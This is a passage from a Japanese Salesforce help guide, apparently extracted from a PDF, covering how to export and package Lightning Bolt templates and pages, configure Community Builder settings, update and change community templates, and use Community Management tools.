ます。Bolt ソリューションは Salesforce とシームレスに統合し、ビジネスロジック、カスタムオブジェクト、業
界のベストプラクティスなどを組み込みます。
カスタマーサービス (Napili)テンプレートをベースとして使用して、標準ページとコンポーネントが含まれるカ
スタムソリューションを作成するか、独自のカスタムページ、レイアウト、およびコンポーネントを作成しま
す。テンプレートの カスタマイズが終了したら、[設定] 領域の [開発者] セクションからエクスポートできま
す。
テンプレートをエクスポートすると組織のコミュニティ作成ウィザードに表示され、そこで新しいコミュニ
ティの作成のベースとして使用できます。
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同様に、ページのコンテンツレイアウトとコンポーネントがある単一ページをエクスポートできます。ページ
をエクスポートすると、組織内のすべてのコミュニティの [新規ページ] ダイアログボックスに表示されます。

パッケージ化と配布について
エクスポートしたテンプレートとページを独自の組織で使用するほか、ソリューションをパッケージ化して顧
客の組織に配布することもできます。パッケージを作成してアップロードすると、クライアント、顧客、また
はパートナーと非公開のリンクを共有できます。また、カスタム Lightning Bolt ソリューションを管理パッケー
ジとしてAppExchangeに公開できます。AppExchangeリストを使用して、アプリケーション、コンポーネント、
コンサルティングサービスと同じ方法でソリューションのマーケティングを行うことができます。リストに
は、ソリューション、価格設定、サポート、その他の詳細を記載して、製品が自分たちの求めるものかどうか
を顧客が判断できるようにします。

ヒント:  Lightning Bolt ソリューションは、Spring '17 のリリース直後にAppExchangeから入手可能になります。
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別の組織にテンプレートがインストールされると、その組織のコミュニティ作成ウィザードに表示されます。
インストールされたページは [新規ページ] ダイアログボックスに表示されます。

Lightning Bolt ソリューションのエクスポートおよびパッケージ化に関する考慮事項
カスタマイズしたテンプレートまたはページをLightning Bolt ソリューションとしてエクスポートする前に、
次の考慮事項と制限事項に留意してください。
カスタマイズした Lightning Bolt ソリューションのエクスポートおよびパッケージ化
Lightning Bolt ソリューションを使用すると、カスタマーサービス (Napili)テンプレートをカスタマイズしてエ
クスポートし、新しいコミュニティのベースとして使用したり、他のユーザが使用できるようにパッケー
ジ化して配布したりできます。
カスタマイズした Lightning Bolt ページのエクスポートおよびパッケージ化
カスタマーサービス (Napili)テンプレートでカスタマイズしたページをエクスポートし、新しいページのベー
スとして使用したり、他のユーザが使用できるようにパッケージ化および配布したりします。

関連トピック:

Lightning コンポーネント開発者ガイド: コミュニティビルダーでの Lightning コンポーネントの使用
アプリケーションのパッケージ化および配布
ISVforce ガイド: 管理パッケージの作成とアップロード

Lightning Bolt ソリューションのエクスポートおよびパッケージ化に関する考慮
事項

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

カスタマイズしたテンプレートまたはページをLightning Bolt ソリューションとし
てエクスポートする前に、次の考慮事項と制限事項に留意してください。

メモ: この機能は、カスタマーサービス (Napili) テンプレートでのみ使用で
きます。

ヒント: 管理パッケージを使用して、顧客の組織または独自の組織の他の
パッケージと名前が競合しないようにすることをお勧めします。

単一ページのエクスポートおよびパッケージ化
• エクスポート後のページ名は一意である必要があります。
• ページをエクスポートすると、コミュニティ名が先頭に付加され、非英数字が削除された、ページの API 参

照名 (devName) が自動的に生成されます。たとえば、Acme コミュニティの My #awesome page は
Acme_My_awesome_page になります。80 文字を超える API 参照名は切り捨てられます。

• エクスポート後のページバリエーションには、[Community Name]_[Page Name]_[Variation Name]

の命名規則が使用されます。

エクスポート後のページの API 参
照名

エクスポート後のページ名元のページ名

Acme_Coffee_FansCoffee FansCoffee Fans
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エクスポート後のページの API 参
照名

エクスポート後のページ名元のページ名

Acme_Coffee_Fans_West_CoastCoffee Fans - West CoastWest Coast (ページのバリエーショ
ン)

Acme_Coffee_Fans_East_CoastCoffee Fans - East CoastEast Coast (ページのバリエーション)

• リッチコンテンツエディタ内の画像については、エディタで使用されたバージョンがエクスポートされま
す。これは、必ずしもアセットファイルの最新バージョンではありません。

• 利用者ベースの表示基準はエクスポートプロセスに含まれません。対象の組織のコミュニティにページを
インポートした後、この情報を手動で再入力してください。

• ページをエクスポートする場合、ページのバリエーションはパッケージに含まれません。ページのバリエー
ションを個別にエクスポートする必要があります。

• ログインページをエクスポートすることはできません。

テンプレートのエクスポートとパッケージ化
• エクスポート後のテンプレート名は一意である必要があります。
• コミュニティ作成ウィザードでは、テンプレートのエクスポートとインポートでテンプレート作成者 (例:

by Salesforce) が異なります。
– テンプレートをエクスポートした場合、独自の組織内に組織名が示されます。
– テンプレートをインポートした場合、パッケージのパブリッシャー名が示されます。

• 管理テンプレートパッケージをアップグレードした場合、アップグレードしたテンプレートに基づく既存
のコミュニティは更新されません。

• テンプレートをエクスポートすると、コミュニティ名が先頭に付加され、非英数字が削除された、テンプ
レートの API 参照名 (devName) が生成されます。たとえば、Acme コミュニティの My Template #2 は
My_Template_2 になります。テンプレートのページでは、上述の単一ページのエクスポートと同じ命名
規則が使用されます。80 文字を超える API 参照名は切り捨てられます。

• テンプレートをエクスポートする場合、次の項目は含まれません。テンプレートをインポートし、そのテ
ンプレートを使用して対象の組織にコミュニティを作成したら、これらの項目を手動で再設定する必要が
あります。
– 使用されていないカスタムテーマレイアウト。[設定] > [テーマ] で選択されたテーマレイアウトのみが

含まれます。
– ナビゲーションメニュー項目

メモ:  (forceCommunity:navigationMenuBase を使用して) カスタムのナビゲーションメニュー
コンポーネントを作成している場合、そのコンポーネントはパッケージに含まれますが、そのナビ
ゲーション設定は含まれません。

– デフォルト以外のページバリエーション。デフォルトのページバリエーションのみが含まれます。ペー
ジにデフォルトのバリエーションがない場合、たとえば、ページに 2 つのバリエーションがあり、その
両方が利用者ベースの表示に設定されている場合、ページは完全に除外されます。
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– ブランドエディタのプロパティおよび CSS カスタマイズ
– ヘッドマークアップと Google トラッキング ID を含むコミュニティビルダーの設定
– コミュニティ管理の設定
– マルチ言語コミュニティ用のローカライズされたコンテンツ

関連トピック:

カスタマイズした Lightning Bolt ソリューションのエクスポートおよびパッケージ化
カスタマイズした Lightning Bolt ページのエクスポートおよびパッケージ化
アプリケーションのパッケージ化および配布
ISVforce ガイド: 管理パッケージの作成とアップロード

カスタマイズした Lightning Boltソリューションのエクスポートおよびパッケー
ジ化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティをカスタマ
イズまたは公開する
• 「コミュニティの作成

および設定」

Lightning Bolt ソリューションを使用すると、カスタマーサービス (Napili) テンプ
レートをカスタマイズしてエクスポートし、新しいコミュニティのベースとし
て使用したり、他のユーザが使用できるようにパッケージ化して配布したりで
きます。
1. コミュニティビルダーで [設定] > [開発者] をクリックします。

このページで追加した情報はコミュニティ作成ウィザードに表示され、ユー
ザがソリューションの目的と利点を理解するために役立ちます。

2. ソリューションの一意の名前を追加し、カテゴリを選択します。

3. サムネイル画像として使用される画像を少なくとも 1 つ追加します。推奨される画像サイズは 1260 x 820px

です。
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ソリューションの詳細説明に表示する画像をさらに 2 つ追加できます。
4. ソリューションの目的を説明するサマリーを入力します。
5. 主要な機能を少なくとも 1 つ入力します。

機能タイトルはコミュニティ作成ウィザードのサムネイルの下に表示され、機能説明はソリューションの
詳細な説明に表示されます。

6. [エクスポート] をクリックします。
ソリューションをエクスポートすると組織のコミュニティ作成ウィザードに表示され、そこで新しいコミュ
ニティの作成のベースとして使用できます。同様に、ソリューションをパッケージ化して別の組織にイン
ストールすると、ソリューションがその組織のコミュニティ作成ウィザードに表示されます。

7. エクスポートしたソリューションをパッケージ化する場合は、次の手順を実行します。
a. [設定] から、[クイック検索] ボックスに「パッケージ」と入力し、[パッケージ] をクリックします。
b. コンポーネントの種類として [Lightning Bolt ソリューション] を選択します。
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c. パッケージをアップロードします。次に、パッケージを AppExchange に配信するか、クライアント、顧
客、またはパートナーと非公開のリンクを共有します。

メモ: エクスポートおよびインポートしたページを削除するには、[設定] から、[クイック検索] ボックス
に「Lightning Bolt ソリューション」と入力し、[Lightning Bolt ソリューション] をクリックします。
組織からソリューションを削除しても、そのソリューションにすでに基づいているコミュニティは影響
を受けません。

関連トピック:

Lightning Bolt ソリューションのエクスポートおよびパッケージ化に関する考慮事項
アプリケーションのパッケージ化および配布
ISVforce ガイド: 管理パッケージの作成とアップロード

カスタマイズした Lightning Bolt ページのエクスポートおよびパッケージ化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティをカスタマ
イズまたは公開する
• 「コミュニティの作成

および設定」

カスタマーサービス (Napili)テンプレートでカスタマイズしたページをエクスポー
トし、新しいページのベースとして使用したり、他のユーザが使用できるよう
にパッケージ化および配布したりします。
ページとそのコンポーネントをエクスポートする手順は、次のとおりです。
1. コミュニティビルダーで[設定] > [開発者]をクリックし、[ページをエクスポー

ト] をクリックします。

2. エクスポートするページを選択します。
3. [エクスポート] をクリックします。

ページをエクスポートすると、組織内のすべてのコミュニティの [新規ページ] ダイアログボックスに表示
されます。同様に、ページをパッケージ化し、別の組織にインストールすると、その組織の [新規ページ]

ダイアログボックスに表示されます。新しくインストールしたページは 30 日間 [新規] として強調表示され
ます。
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4. エクスポートしたページをパッケージ化する場合は、次の手順を実行します。
a. [設定] から、[クイック検索] ボックスに「パッケージ」と入力し、[パッケージ] をクリックします。
b. コンポーネントの種類として Lightning ページ を選択します。

c. パッケージをアップロードします。次に、パッケージを AppExchange に配信するか、クライアント、顧
客、またはパートナーと非公開のリンクを共有します。
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メモ: インポートおよびエクスポートしたページを削除するには、[設定] から、[クイック検索] ボックス
に「Lightning Bolt ページ」と入力し、[Lightning Bolt ページ] をクリックします。
削除したページに基づくコミュニティビルダー内の既存のページは影響を受けません。ただし、削除し
たページは [新規ページ] ダイアログに表示されなくなります。

関連トピック:

Lightning Bolt ソリューションのエクスポートおよびパッケージ化に関する考慮事項
アプリケーションのパッケージ化および配布
ISVforce ガイド: 管理パッケージの作成とアップロード

コミュニティの外部データソース
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

カスタマーサービス (Napili) テンプレートコミュニティから Salesforce 組織外に保
存されている外部データおよびコンテンツにアクセスします。
コミュニティユーザに、次に対するアクセスを許可します。
• 別の Salesforce 組織、SAP® NetWeaver Gateway、または Salesforce Connect を使用し

て組織からアクセスできる IBM WebSphere® に保存されているデータ
• Google ドライブ、または Files Connect を使用して組織からアクセスできる

SharePoint に保存されているコンテンツ

メモ:

• 大量データの外部データソースはサポートされていません。
• 外部データソースの [ID 種別]が [ユーザごと] に設定されている場合、

カスタマーサービス (Napili)テンプレートコミュニティユーザは外部シス
テムの独自の認証設定を指定できません。ただし、Lightning Experience ま
たは Salesforce Classic から、外部システムの各ユーザの認証設定を指定お
よび管理できます。

例: たとえば、販売用パートナーコミュニティがあり、商品の注文情報をバックオフィスの ERP システム
に保存しているとします。営業パートナーにこの情報を公開することで、関連データがどこに保存され
ているかに関わらず、パートナーがすべての関連データのコンテキスト内で注文を参照および更新でき
ます。
または、契約や他の合意のテンプレートを Salesforce 以外の環境に保存しているとします。営業パートナー
は、必要に応じてそのコンテンツの最新バージョンにアクセスできます。

関連トピック:

Salesforce Connect

外部データソースの ID 種別
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コミュニティビルダーでのコミュニティの設定の管理
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

一般設定を変更する
• 「コミュニティの作成

および管理」

[設定] 領域を使用して、使用しているテンプレートの追跡、コミュニティの状況
の表示、およびテンプレートのカスタマイズを行います。カスタマーサービス
(Napili) テンプレートを使用している場合は、ナビゲーショントピックや主要ト
ピックの設定に簡単にアクセスできます。

コミュニティビルダーの [設定] 領域にアクセスするには、左サイドバーの
をクリックします。

• [全般] 領域の設定には、次の設定が含まれます。
コミュニティテンプレート

コミュニティで使用しているテンプレートの名前とバージョンを表示します。
公開アクセス

ページレベルのアクセスを制御します。
コミュニティタイトル

コミュニティのタイトルを設定できます。コミュニティのホームページを読み込む前に、ブラウザのタ
イトルバーにこのタイトルが一時的に表示されます。

公開済み状況
コミュニティが公開されているかどうかを示します。公開されている場合は、このリンクをクリックす
ると、別のブラウザタブにライブのコミュニティが開きます。

ゲストユーザプロファイル
関連付けられているゲストユーザプロファイルを表示します。このリンクをクリックすると、Salesforce

の [設定] の [プロファイル] ページに移動し、ゲストユーザに付与する権限など、プロファイルの設定を
変更できます。ゲストユーザプロファイルの設定についての詳細は、『Using Templates to Build Communities』
ガイドの「Configure the Guest User Profile for Unauthenticated Users」を参照してください。
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主要トピックとナビゲーショントピックの設定 (カスタマーサービス (Napili) テンプレートのみ)

主要トピックとナビゲーションに使用されるトピックをコミュニティワークスペースまたは [コミュニ
ティ管理] で定義します。

• [テーマ] 領域では、次を選択できます。
ヘッダー領域とナビゲーションを非表示

(カスタマーサービス (Napili) の Winter '16 バージョンと、Koa、Kokua、およびカスタマーサービス (Napili) の
Spring '16 バージョンのみ)

コミュニティのすべてのページでデフォルトのコミュニティヘッダー (ヘッダー画像、検索ボックス、
コミュニティメニュー、ユーザプロファイルナビゲーションメニュー) を非表示にします。ヘッダーを
独自のカスタムバージョンに置換する場合は、このオプションを選択します。インポートおよびエクス
ポートしたテンプレートでは使用できません。

ページコンテンツの読み込み時にプレースホルダコンテンツを表示
(カスタマーサービス (Napili) Spring ’16 バージョンのみ)

コミュニティページが完全に読み込まれるまでそのページのゴーストバージョンを表示して、読み込み
時のユーザエクスペリエンスを向上させます。ページヘッダーが高度にカスタマイズされ、ゴースト
バージョンがブラウザで読み込まれる実際のバージョンと大きく異なる場合は、このオプションを無効
にできます。インポートおよびエクスポートしたテンプレートでは使用できません。

• [言語] 領域では Site.comにアクセスして、コミュニティの多言語プロパティを設定できます。多言語プロパ
ティを設定すると、そのプロパティが [言語ピッカー] コンポーネントで使用され、ゲストユーザがコミュ
ニティのページで希望言語を選択できるようになります。『Using Templates to Build Communities』ガイドの
「Language Picker」を参照してください。

• [詳細] 領域では、ページヘッドにマークアップを追加できます。
• [更新] 領域では、コミュニティのテンプレートを最新バージョンに更新できます。
• [開発者] 領域では、カスタマイズしたテンプレートとページをエクスポートできます。
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コミュニティのテンプレートの更新
エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

テンプレートを更新する
• 「コミュニティの作成

および管理」

リリースのたびにすばらしい機能や機能強化が追加されていますので、乗り遅
れないでください。最新のコミュニティビルダーやテンプレート機能を最大限
に活用しましょう。

重要:  Spring '17 をもって Winter '16 (2015 年 10 月) より前のバージョンの Koa、
Kokua、およびカスタマーサービス (Napili)テンプレートのサポートが終了し
ます。コミュニティに Winter '16 より前のテンプレートを使用していて、今
すぐ更新しない場合、メンバーは Spring '17 リリースでそのサイトにアクセ
スできなくなります。

コミュニティで Spring '16 より後のバージョンのテンプレートを使用している場
合は問題ありません。テンプレートが自動的に最新バージョンに更新されるた
め、最新機能をコミュニティにすぐに追加できます。
テンプレートの更新による影響は、コミュニティで使用しているバージョンに
よって異なります。

Spring '17 への更新時に想定される影
響

テンプレートの種類とバージョン

すべての更新が自動的に適用されま
す。カスタマイズとブランド設定が
データと共に保持されます。

Winter '16 より後の Koa、Kokua、または
カスタマーサービス (Napili)

Winter '16 の Koa、Kokua、またはカスタ
マーサービス (Napili)

• ログインページ以外のすべてのペー
ジのカスタマイズが維持されます。

• ログインページのブランド設定は
維持されますが、カスタムコード
やコンポーネントのカスタマイズ
は失われます。

ほとんどのコンポーネントのカスタマ
イズとプロパティは上書きされます。
ただし、

Winter '16 より前の Koa、Kokua、または
カスタマーサービス (Napili)

Spring '16 より前の Aloha テンプレート
• Koa および Kokua の場合は、一般設

定 (カテゴリグループ名、最上位カ
テゴリ、会社名など) が継承されま
す。

• カスタマーサービス (Napili) の場合
は、トピックの定義が継承されま
す。

コミュニティビルダーのブランドエ
ディタを使用して定義されたブランド
プロパティは大半が保持されます。た

4039

コミュニティのテンプレートの更新Salesforce Communities の設定および管理



Spring '17 への更新時に想定される影響テンプレートの種類とバージョン

だし、コミュニティの色が一部デフォルト値にリセッ
トされます。テンプレートを更新後にブランドプロパ
ティを確認し、リセットされた箇所があれば更新して
ください。

Salesforce タブ + Visualforceを使用したコミュニティのテ
ンプレート更新は、コミュニティビルダーからは管理
されません。

Salesforce タブ + Visualforce

古いテンプレートバージョンとのコンポーネントの互換性についての詳細は、『Using Templates to Build Communities』
ガイドの「Which Components Can I Use with Each Template?」を参照してください。
テンプレートの更新が利用できるようになると、コミュニティビルダーの設定アイコンに赤い通知アイコンが
表示されます。

テンプレートを更新する手順は、次のとおりです (Winter '16 以前のバージョンのテンプレートの場合)。
1. コミュニティビルダーで [ ] > [更新] をクリックします。
2. [更新] をクリックして、プロンプトが表示されたら更新を確認します。
3. すべてのコミュニティページで、ブランド設定やスタイルが期待どおりであることを確認します。
4. コミュニティを公開して、テンプレートの更新を適用します。

関連トピック:

コミュニティビルダーでのコミュニティの設定の管理
コミュニティビルダーの概要
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コミュニティテンプレートの変更に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コミュニティテンプレートの変更は、コミュニティのナビゲーション、ブラン
ド設定、カスタマイズに影響します。

メモ:  Winter '17 以降、テンプレートの変更機能は、Koa、Kokua、およびカス
タマーサービス (Napili) テンプレートを使用するコミュニティではサポート
されなくなります。これらのテンプレートで機能は引き続き使用できます
が、代わりに新しいコミュニティで最初から始めることをお勧めします。
テンプレートを Koa、Kokua、またはカスタマーサービス (Napili) から別の種
類のテンプレートに変更する場合、問題が発生しても Salesforce カスタマー
サポートはサポートできません。

• テンプレートを変更すると、Salesforce オブジェクトデータは継承されます
が、一部のブランド設定とコンポーネントカスタマイズは継承されません。必要に応じてカスタマイズを
やり直す準備をしてください。

• コミュニティテンプレートを変更すると、コミュニティワークスペースまたは [コミュニティ管理] のナビ
ゲーションオプションが更新されます。選択したテンプレートに関わらず使用可能なすべてのナビゲーショ
ンオプションを表示するには、[管理個人設定] > [コミュニティワークスペースまたはコミュニティ管理の
すべての設定を表示] を選択します。

• Salesforce タブと Visualforce テンプレートから他の種類のテンプレートに切り替えた場合、コミュニティ URL

が変更されます。具体的には、/s がコミュニティ URL に追加されます。コミュニティへのすべてのリンク
を、更新された URL に更新してください。

• 有効なコミュニティの場合
– Koa、Kokua、またはカスタマーサービス (Napili) テンプレートに切り替えると、テンプレートの変更はド

ラフトバージョンで保存されます。コミュニティビルダーでコミュニティをさらにカスタマイズするに
は、このドラフトバージョンを使用します。コミュニティは、変更を公開した後にのみ更新されます。

– Salesforce タブと Visualforce テンプレートに他のテンプレートから切り替えると、変更はすぐに有効なコ
ミュニティに反映されます。この場合、テンプレートを変更する前にコミュニティを無効化することを
お勧めします。すべての変更を加えたら、コミュニティを再有効化します。

– テンプレートが [なし] としてリストされている場合、事前定義されたテンプレートを使用していない
か、いずれかのテンプレートの変更されたバージョンを使用していることを示します。

Kokua、Koa、およびカスタマーサービス (Napili) テンプレートの使用についての詳細は、「テンプレートを使用
したコミュニティの作成」を参照してください。
Aloha テンプレートの使用についての詳細は、「Salesforce Identity の Aloha コミュニティテンプレートの使用開始」
を参照してください。
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コミュニティビルダーを使用したコミュニティのプレビュー
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティを作成、カ
スタマイズ、公開する
• 「コミュニティの作成

および設定」

デスクトップのブラウザウィンドウやモバイルデバイスにコミュニティがどの
ように表示されるかをプレビューします。
コミュニティビルダーのプレビューオプションでは、コミュニティがライブに
なったときにどのように表示されるかを確認できます。
• ブラウザウィンドウでコミュニティをプレビューするには、ツールバーの

[プレビュー] をクリックします。

• プレビューモードでポップアウトボタンをクリックすると、独自のブラウザ
タブに、顧客に表示されるとおりにコミュニティを表示できます。

•
メニューのオプションを使用して、別のデバイスでのコミュニティの

外観をプレビューする手順は、次のとおりです。
– スマートフォンの場合は、[携帯] をクリックします。
– タブレットの場合は、[タブレット] をクリックします。
– デスクトップコンピュータ画面の場合は、[デスクトップ] をクリックします。

関連トピック:

コミュニティビルダーの概要
コミュニティビルダーを使用したカスタマイズの公開

4042

コミュニティビルダーを使用したコミュニティのプレ
ビュー

Salesforce Communities の設定および管理



コミュニティビルダーを使用したカスタマイズの公開
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティを作成、カ
スタマイズ、公開する
• 「コミュニティの作成

および設定」

コミュニティビルダーでコミュニティを公開し、ブランド設定およびコンポー
ネントカスタマイズの更新内容をコミュニティの全員が使用できるようにしま
す。

重要:  Koa、Kokua、またはカスタマーサービス (Napili)コミュニティを初めて
公開すると、コミュニティの URL が有効になり、コミュニティメンバーの
ログインアクセスが有効になります。このコミュニティを有効にする必要
はありません。

1. コミュニティビルダーでコミュニティをプレビューし、更新が期待どおりに
表示されることを確認します。

2. 変更内容に問題がなければ、ツールバーの [公開]をクリックして変更を公開
します。

変更が有効になったら、メールで通知されます。

関連トピック:

コミュニティビルダーの概要
コミュニティビルダーを使用したコミュニティのプレビュー

コミュニティ管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

[コミュニティ管理]で、コミュニティの管理とモデレートを一元的に行うことが
できます。

コミュニティマネージャ、モデレータ、システム管理者の連携
コミュニティが成功するのは、コミュニティマネージャ、モデレータ、シス
テム管理者が固有の役割を理解して効果的に協力するときです。
ダッシュボードを使用したコミュニティの成功の判断
活動の総計値やトレンドなどコミュニティの分析を表示する場合は、ダッ
シュボードを使用します。ダッシュボードでは、コミュニティの採用とエン
ゲージメントに関する中長期的視点を得ることができ、コミュニティの健全
性の概要ビューが示されます。ダッシュボードは、投資収益率 (ROI) と重要業績評価指標 (KPI) の監視にも役
立ちます。
コミュニティエンゲージメント向けのインサイト
インサイトとは、コミュニティマネージャが活動を監視し、その活動に対してアクションを実行するのに
役立つレポートのことです。インサイトを使用すると、日常的なモデレーション作業の管理、コミュニティ
エンゲージメントの促進、メンバー導入の推進が簡単になります。新規メンバー、未回答の質問、新規作
成されたグループ、トレンドトピック、さらには最新の Chatter 寄稿も監視するようにインサイトを設定で
きます。
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コミュニティモデレーションの戦略およびツール
コミュニティモデレーションを使用すると、コンテンツの監視をコミュニティメンバーに許可し、適切で
関連性のあるコンテンツであることを確認できます。モデレーションを自動化するルールを設定し、面倒
な作業を自動で実行します。
トピックを使用したコミュニティの整理
ナビゲーショントピックと主要トピックは、コミュニティのコンテンツを整理する優れた方法です。トピッ
クを使用してコミュニティのコンテンツを構造化したり、主要なディスカッションを強調表示したりでき
ます。トピックを作成することも、コミュニティメンバーの投稿から有機的に発生したトピックを使用す
ることもできます。トピックは、カスタマーサービス (Napili) テンプレートを使用して作成されたコミュニ
ティで使用できます。
コミュニティのおすすめ情報のカスタマイズ
おすすめを作成して、コミュニティのエンゲージメントを促進し、ユーザに動画の閲覧やトレーニングの
受講などを促します。特定の利用者を対象にしたり、チャネルを使用しておすすめの場所を指定したりし
ます。
評価の概要
コミュニティの評価は、どのくらい積極的に参加しているかを直接反映します。投稿、コメント、共有を
多く行うほど、評価レベルが高くなります。

コミュニティマネージャ、モデレータ、システム管理者の連携
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コミュニティが成功するのは、コミュニティマネージャ、モデレータ、システ
ム管理者が固有の役割を理解して効果的に協力するときです。
コミュニティマネージャとモデレータは協力しあいます。パートナーとなって
サポートしあい、コミュニティのエンゲージメントと調和を促進します。同じ
タスクを実行することもありますが、それぞれが固有の貢献をします。一般的
に、コミュニティマネージャは採用とエンゲージメントの監視を担当し、モデ
レータはコミュニティが健全で、メンバー同士が活発にサポートし合えると感
じられるようにする環境を確立するための責任を担います。
コミュニティマネージャ、モデレータ、システム管理者は、協力してコミュニ
ティの保護とエンゲージを行い、コミュニティの成功を測定します。

コミュニティの健全性に関する分
析を確認します。

新しいメンバーを歓迎し、寄稿者
を追加して、メンバーをリソース
に接続します。

スパム送信者、ボット、荒らしが
コミュニティを攻撃することを防
止します。 節約した金額や発生が防止された

ケース数など、投資収益率 (ROI) とメンバーの質問が迅速に対応され
るようにします。

商標権侵害と法的問題からコミュ
ニティを保護します。
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コミュニティメンバーが適切な言
語を使用し、利用規約に従ってい
ることを確認します。

重要業績評価指標 (KPI) を測定しま
す。
コミュニティのトレンドを識別し
て追跡します。

助けになったメンバーを認めて感
謝します。
MVP を識別して激励し、教育して維
持します。

コミュニティの管理
[コミュニティ管理] またはコミュニティワークスペースからコミュニティを設定および監視します。
コミュニティマネージャとは?

どのコミュニティにも、コミュニティを活性化するために積極的な役割を果たす人物が必要です。コミュ
ニティマネージャは、日々時間をとってメンバーの参加や会話を促し、貢献したメンバーを評価します。
コミュニティモデレータとは?

モデレータは、ユーザの活動やフラグ付き項目を監視して、コミュニティを成功に導きます。
[コミュニティ管理] へのアクセス
コミュニティの管理者およびマネージャは、[コミュニティ管理] を使用してコミュニティ活動を監視し、
その他の重要な管理機能を設定します。
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コミュニティの管理

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティワークス
ペースまたは [コミュニ
ティ管理] にアクセスする
• 「コミュニティ管理に

アクセス」または「コ
ミュニティの管理」ま
たは「コミュニティの
作成および設定」

• およびコミュニティの
メンバーであること

モデレーションルールお
よび条件にアクセスする
• 「コミュニティの管

理」または「コミュニ
ティの作成および設
定」

• およびコミュニティの
メンバーであること

管理設定をカスタマイズ
する、またはコミュニ
ティビルダーを使用する
• 「コミュニティの作成

および設定」
• およびコミュニティの

メンバーであること

[コミュニティ管理]またはコミュニティワークスペースからコミュニティを設定
および監視します。
コミュニティはいつでもカスタマイズできますが、大幅な変更を加える場合は、
まずコミュニティを無効化することをお勧めします。

重要: [コミュニティ管理]またはコミュニティワークスペースで使用できる
オプションは、コミュニティテンプレートの選択、権限、設定に基づきま
す。たとえば、コミュニティでトピックを使用しない場合は、[トピック]

セクションは表示されません。次のリストのオプションの一部が、コミュ
ニティに表示されない場合があります。すべてのセクションを表示するに
は、[管理] > [個人設定] に移動して [コミュニティ管理のすべての設定を表
示]または [コミュニティワークスペースのすべての設定を表示]を有効化し
ます。

ホーム
• コミュニティのホームページのダッシュボードを表示します。Salesforce

Communities Management パッケージのインストールを指示するメッセージ
がホームページに引き続き表示される場合、システム管理者がダッシュ
ボードをまだ対応付けていません。

• グローバルヘッダーの [コミュニティ管理] メニューまたはコミュニティ
ワークスペースからコミュニティビルダー、Force.com、Site.com Studio で、
コミュニティをプレビューするか、コミュニティの設定にアクセスしま
す。

エンゲージメント
[コミュニティ管理] から離れずに、最近の活動を監視してアクションをすぐ
に実行します。
インサイトは、システム管理者が設定します。[エンゲージメント] セクショ
ンが表示されない場合、システム管理者がインサイトをコミュニティに対応
付けていません。

ダッシュボード
ダッシュボードを参照して、このコミュニティのグループ、メンバー、フィー
ド活動、モデレーション、トピック、ライセンス利用状況に関する情報を監
視します。
ダッシュボードは、システム管理者が設定します。[ダッシュボード] セクショ
ンが表示されない場合、システム管理者がダッシュボードをコミュニティに
対応付けていません。

モデレーション
フラグ付き投稿、コメント、メッセージ、ファイルのレポートを表示しま
す。確認待機中のすべての投稿のレポートを表示して、コミュニティのモデレーションルールを設定する
こともできます。
モデレーションは、システム管理者が設定します。
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トピック
ナビゲーションメニューを作成し、コミュニティで人気のあるトピックを紹介します。
ナビゲーショントピックと主要トピックは、システム管理者が設定するか、セルフサービステンプレート
の場合はデフォルトで有効化されます。[トピック] セクションが表示されない場合、コミュニティでトピッ
クが使用されていません。

おすすめ
おすすめは、コミュニティでのエンゲージメントの促進に役立ちます。ユーザに動画の閲覧やトレーニン
グの受講などを促すように設定できます。
おすすめは、システム管理者が設定します。[おすすめ] セクションが表示されない場合、システム管理者
が設定を行っていません。

評価
コミュニティフィードの活動で報奨をメンバーに付与するための評価レベルおよびポイントを設定します。
評価は、システム管理者が設定します。[評価] セクションが表示されない場合、システム管理者がこの設
定を有効化していません。

管理
[管理] ページでは、次のようなコミュニティの基本設定を更新できます。
• [メンバー] — プロファイルまたは権限セットに基づいてメンバーを追加または削除します。
• [タブ] — コミュニティメンバーに表示するタブを選択します。タブは、Salesforce1でのコミュニティナビ

ゲーションを決定する場合にも使用されます。いずれかのセルフサービステンプレートを使用してコ
ミュニティが作成された場合、タブ設定は使用されません。

• [ブランド] — 標準のブランド設定テーマを選択します。このブランド設定は、コミュニティが Salesforce

タブ + Visualforce テンプレートを使用している場合にのみ使用されます。
• [ログイン & 登録] — デフォルトのコミュニティログインページを選択し、セルフ登録を設定します。
• [メール] — コミュニティメールで、メールの送信者情報、Chatterメールのブランド設定、およびテンプ

レートをカスタマイズできます。
• ページ — コミュニティのページ割り当てを設定し、コミュニティの Force.comおよび Site.com設定にアク

セスします。
• 個人設定 — コンテンツのフラグ設定、ニックネーム表示、Chatter への公開アクセス、ファイル制限な

ど、重要な設定を更新します。
• 設定 — コミュニティの名前、説明、および URL を編集します。また、コミュニティの状況の管理や、

コミュニティテンプレートの更新を行うこともできます。
[コミュニティ管理] およびコミュニティワークスペースで内部的に検索すると、コミュニティ内で最後に
参照した項目が返されます。探しているオブジェクトが [最近参照したドキュメント] リストに含まれてい
